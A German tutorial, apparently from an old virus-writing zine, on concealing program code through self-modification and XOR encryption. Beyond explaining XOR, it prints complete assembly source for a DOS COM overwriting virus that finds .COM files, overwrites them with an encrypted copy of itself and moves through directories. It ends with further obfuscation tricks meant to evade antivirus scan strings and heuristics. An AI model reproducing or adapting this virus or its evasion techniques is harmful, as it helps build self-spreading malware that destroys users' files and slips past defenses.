Versteckt eueren Code written by SnakeByte In diesem Tutorial möchte ich ein wenig über Verschlüsselung und Anti-debug techniken reden..ehm.. schreiben. Die ist nicht nur für Viren interesannt, sondern für alle Programme, deren Sourcecode nicht jeder in die Finger bekommen sollte. Eines generell, man kann immer ein Programm in den Sourcecode zerlegen, aber der Schreiber des Programmes kann Vorkehrungen treffen, die dieses erschweren. Fangen wir mit Verschlüsselung an : am einfachsten ist es ein Programm zu verschlüsseln, daß sich von selbst dupliziert, da man bei allen anderen Programmen den Verschlüsselten Teil 'per Hand' oder mit einem extra Programm verschlüsseln muss. Wie ihr sicherlich wisst, ist es möglich das gerade ablaufende Programm zu modifizieren, so das das Programm andere Wege geht. Hier ein kleines Beispiel für so eine Veränderung : lea di, patch ; schreibe nach Patch mov al,90h ; schreibe 90h ( opcode für nop ) stosb ; schreibe 3 bytes stosb stosb patch: ; hier fangen wir an zu schreiben jmp sonstwohin ; dieser Sprungbefehl wird überschrieben int 20h ; hier läuft unser Programm weiter Mit diesem simplen code schreiben wir über den Sprung (jmp sonstwohin) drei nop's ( nichts-tun - Befehl ). Da der Sprung nun nicht mehr existiert wird der folgende int 20h ausgeführt. ( Mit einem INT 20h kann man COM-Dateien auf schnelle Art und Weise beenden ). Sollte eigentlich soweit klar sein... :) Nun fangen wir an zu verschlüsseln : Nein, ich werde jetzt nicht anfangen RSA zu erklären,.. Das Problem mit Selbstver-entschlüsselndem Code ist, das sich das Programm auch wieder selber entschlüsseln muss, also liegt der Schlüssel im nich-verschlüsseltem Bereich. Da man also ohne Probleme an den Schlüssel rankommt, ist selbst RSA leicht zu knacken. Hier kommt die simpleste aller Verschlüsselungsarten : XOR - das exclusive oder ! Was macht xor ? Mit Xor al,5h wird die Zahl in al einem exclusiven oder mit 5 unterzogen. Nehmen wir mal an al wäre 3. Dann wandeln wir 5 und 3 in Binärcode um: 3 = 011 17 = 10001 5 = 101 25 = 11001 ---------- XOR anderes Bsp.: ------------ XOR 6 = 110 8 = 01000 Man schaut bei jeder Stelle nach, ob bei nur einer der beiden Zahlen eine 1 steht. Wenn ja, steht im Ergebnis auch eine 1 ansonsten eine 0. Nochmal eine kleine Tabelle : | 1 0 <-- 1.Zahl -------- 1 | 0 1 <- Ergebnis 0 | 1 0 ^-2.Zahl Die Besonderheit an XOR ist, das man damit eine Verschlüsselung vollbringen kann. Bsp.: 5 Xor 3 = 6 6 Xor 3 = 5 Hier ist 5 die Zahl, die wir verschlüsseln wollen. Unser zufälliger Schlüssel ist die 3, wenn wir die 5 mit 3 xor'en (?) erhalten wir 6. Zum entschlüsseln vollziehen wir wieder ein exclusives oder mit 3 und erhalten wieder unsere 5. Da der Maschinencode auch nur aus Zahlen besteht, können wir nun wunderbar damit rechnen. Hier eine Routine, die man zum Ver-und Entschlüsseln verwenden kann : lea si, startdesverschlüsseltencodes: mov cx,(offset endedesverschlüsseltencodes-offset endedesverschlüsseltencode) mov ah,3h XOR_loop: xor [si],ah inc si loop XOR_loop Was tun wir hier ? Zuerst weisen wir si den offset zu, an dem unsere Verschlüsselung beginnt. In ah laden wir unseren Schlüssel und in cx die Länge des Verschlüsselten codes. Nun Verschlüsseln wir jedes Byte unseres Codes mit 3h und rücken si immer um 1 Byte weiter, bis wir den gesamten Code durchgegangen sind. Nun, wie schreiben wir das Ganze, wenn wir das in einen Virus einbauen wollen ? mov cx,länge mov ah,3h Xor_loop: lodsb xor ah,3h stosb loop Xor_loop Das ist euere Prozedur, wenn ihr diese zum Entschlüsseln aufruft, einfach ein lea si,start mov di,si vor der Call setzen, so das der Entschlüsselte Teil über den Verschlüsselten geschrieben wird. Wenn ihr allerdings eueren virus irgendwo anhängen wollt, einfach ein lea si,start lea di,buffer vor dem Call ausführen, wobei buffer der Offset ist, an dem ihr eine verschlüsselte Kopie eures Virus speichern wollt. Hier ein simpler COM-Overwritter, der dieses nutzt. .model tiny code segment assume cs:code,ds:code ;Definiert die einzelnen Segmente org 100h ;Wir bauen eine .COM Datei lea si,start mov di,si Call encryption ;Let's crypt ! Start: ;Hier beginnt der Virus mov ah,4eh ;Finde erste Datei Weiter: ;Sprungmarke mov dx, offset com ;lade com in dx xor cx,cx ;cx = 0 int 21h ;ausführen ..suche nach Dateien mit *.COM jc change_dir ;falls keine gefunden springe nach change_dir mov ax, 3d02h ;öffne die Datei für Lese und Schreibzugriff mov dx,9eh int 21h jc read_error ;gab es einen Fehler, dann springe nach read_error xchg bx,ax ;tausche bx und ax in ah,40h ;Zufälliger Schlüssel.. mov byte ptr cs:[key],ah ;speicher ihn lea si,start ;mache eine verschlüsselte Kopie des Virus ! lea di,buffer call encryption mov ah, 40h ;schreib was... mov cx, offset Virende - offset START ;Länge des zu schreibenden mov dx, offset buffer ;wo fängt das zu schreibende an ? (unser verschlüsselter Code) int 21h mov ah, 40h ;hänge unsere Verschlüsselungs routine hintendran.. mov cx, offset buffer - offset Virende ;Länge des zu schreibenden mov dx, offset virende ;wo fängt das zu schreibende an ? int 21h ;nun hängt unsere Verschlüsselungsroutine an der Datei.. mov ah, 3eh ;Datei schließen int 21h read_error: ;Sprungmarke mov ah, 4fh ;nächte Datei suchen... jmp Weiter ;Springe nach Weiter change_dir: ;Sprungmarke mov ah,3bh ; Ändere das Verzeichnis lea dx,Punkte ; Ein Verzeichnis runter int 21h ; Ändere es jnc start ; Falls es keinen Fehler gab, springe nach start ende: ;Sprungmarke mov ax,4c00h ;Zurück zu Dos INT 21h com db '*.com',0 ;Variablendefinition... Punkte db '..',0 virende: ;Ende des Virus encryption: mov cx,(offset virende - offset start) mov ah,byte ptr cs:[key] ;Unsere bekannte Verschlüsselungsroutine Xor_loop: lodsb xor ah,3h stosb loop Xor_loop ret key db 0h ;Das ist unser KEY 0 im Dropper buffer: ;Hier steht später unser verschlüsselter Virus ! code ends end start Sollte eigentlich soweit verständlich sein.. Für alle, die nicht nur ein simples XOR benutzen wollen : Neg ax --> 0 minus ax --> aus 1 wird -1 Not ax --> +1 * (-1) --> aus 1 wird -2 Ror ax,1 --> verschiebt ax um 1 stelle nach rechts --> 0001 wird 1000 Rol ax,1 --> verschiebt nach links --> 0010 wird 0100 Inc ax --> erhöht ax um 1 Dec ax --> vermindert ax um 1 Add ax,1h --> addiert eine Zahl Sub ax,1h --> subtrahiert eine Zahl Mul ax,2h --> multipliziert Div ax,2h --> dividiert (teilt :) eignen sich auch hervorragend als Verschlüsselungsmechanismen.. Solange sich die Routine nach dem folgendem Schema aufbaut, kann man sie zum Ver und Entschlüsseln verwenden, ansonsten einfach 2 Routinen schreiben. Neg al ror al,4h not al xor al,bl not al ror al,4h Neg al Hier wird Pyramiedenartig verschlüsselt, also man hat auf der gegenüberliegenden Seite immer die Instruktion die die erstere aufhebt.. Egal von welcher Seite man den Code durchläuft, es kommt immer das gleiche raus. Durch diese Besonderheit, kann man hier ein und die gleiche Routine verwenden. Mit diesen Tricks kann man sich vor allzuleichter Erkennung durch Scanstrings etwas schützen. Leider haben die AV's aber heuristische Erkennungsmethoden entwickelt, die den Virus trotzdem als (suspect) verdächtig einstufen. Diese kann man nur durch recht allgemeine Programmierweisen umgehen. [ Heuristic --> das suchen nach verdächtigen Programmen durch ausführen und testen auf bestimmte Eigenschaften wie z.B. Möglichkeit sich zu replizieren, massive Löschaktionen etc. ] Bis zum nächsten Tutorial .. SnakeByte Kritik und ähnliches an SnakeByte@gmx.de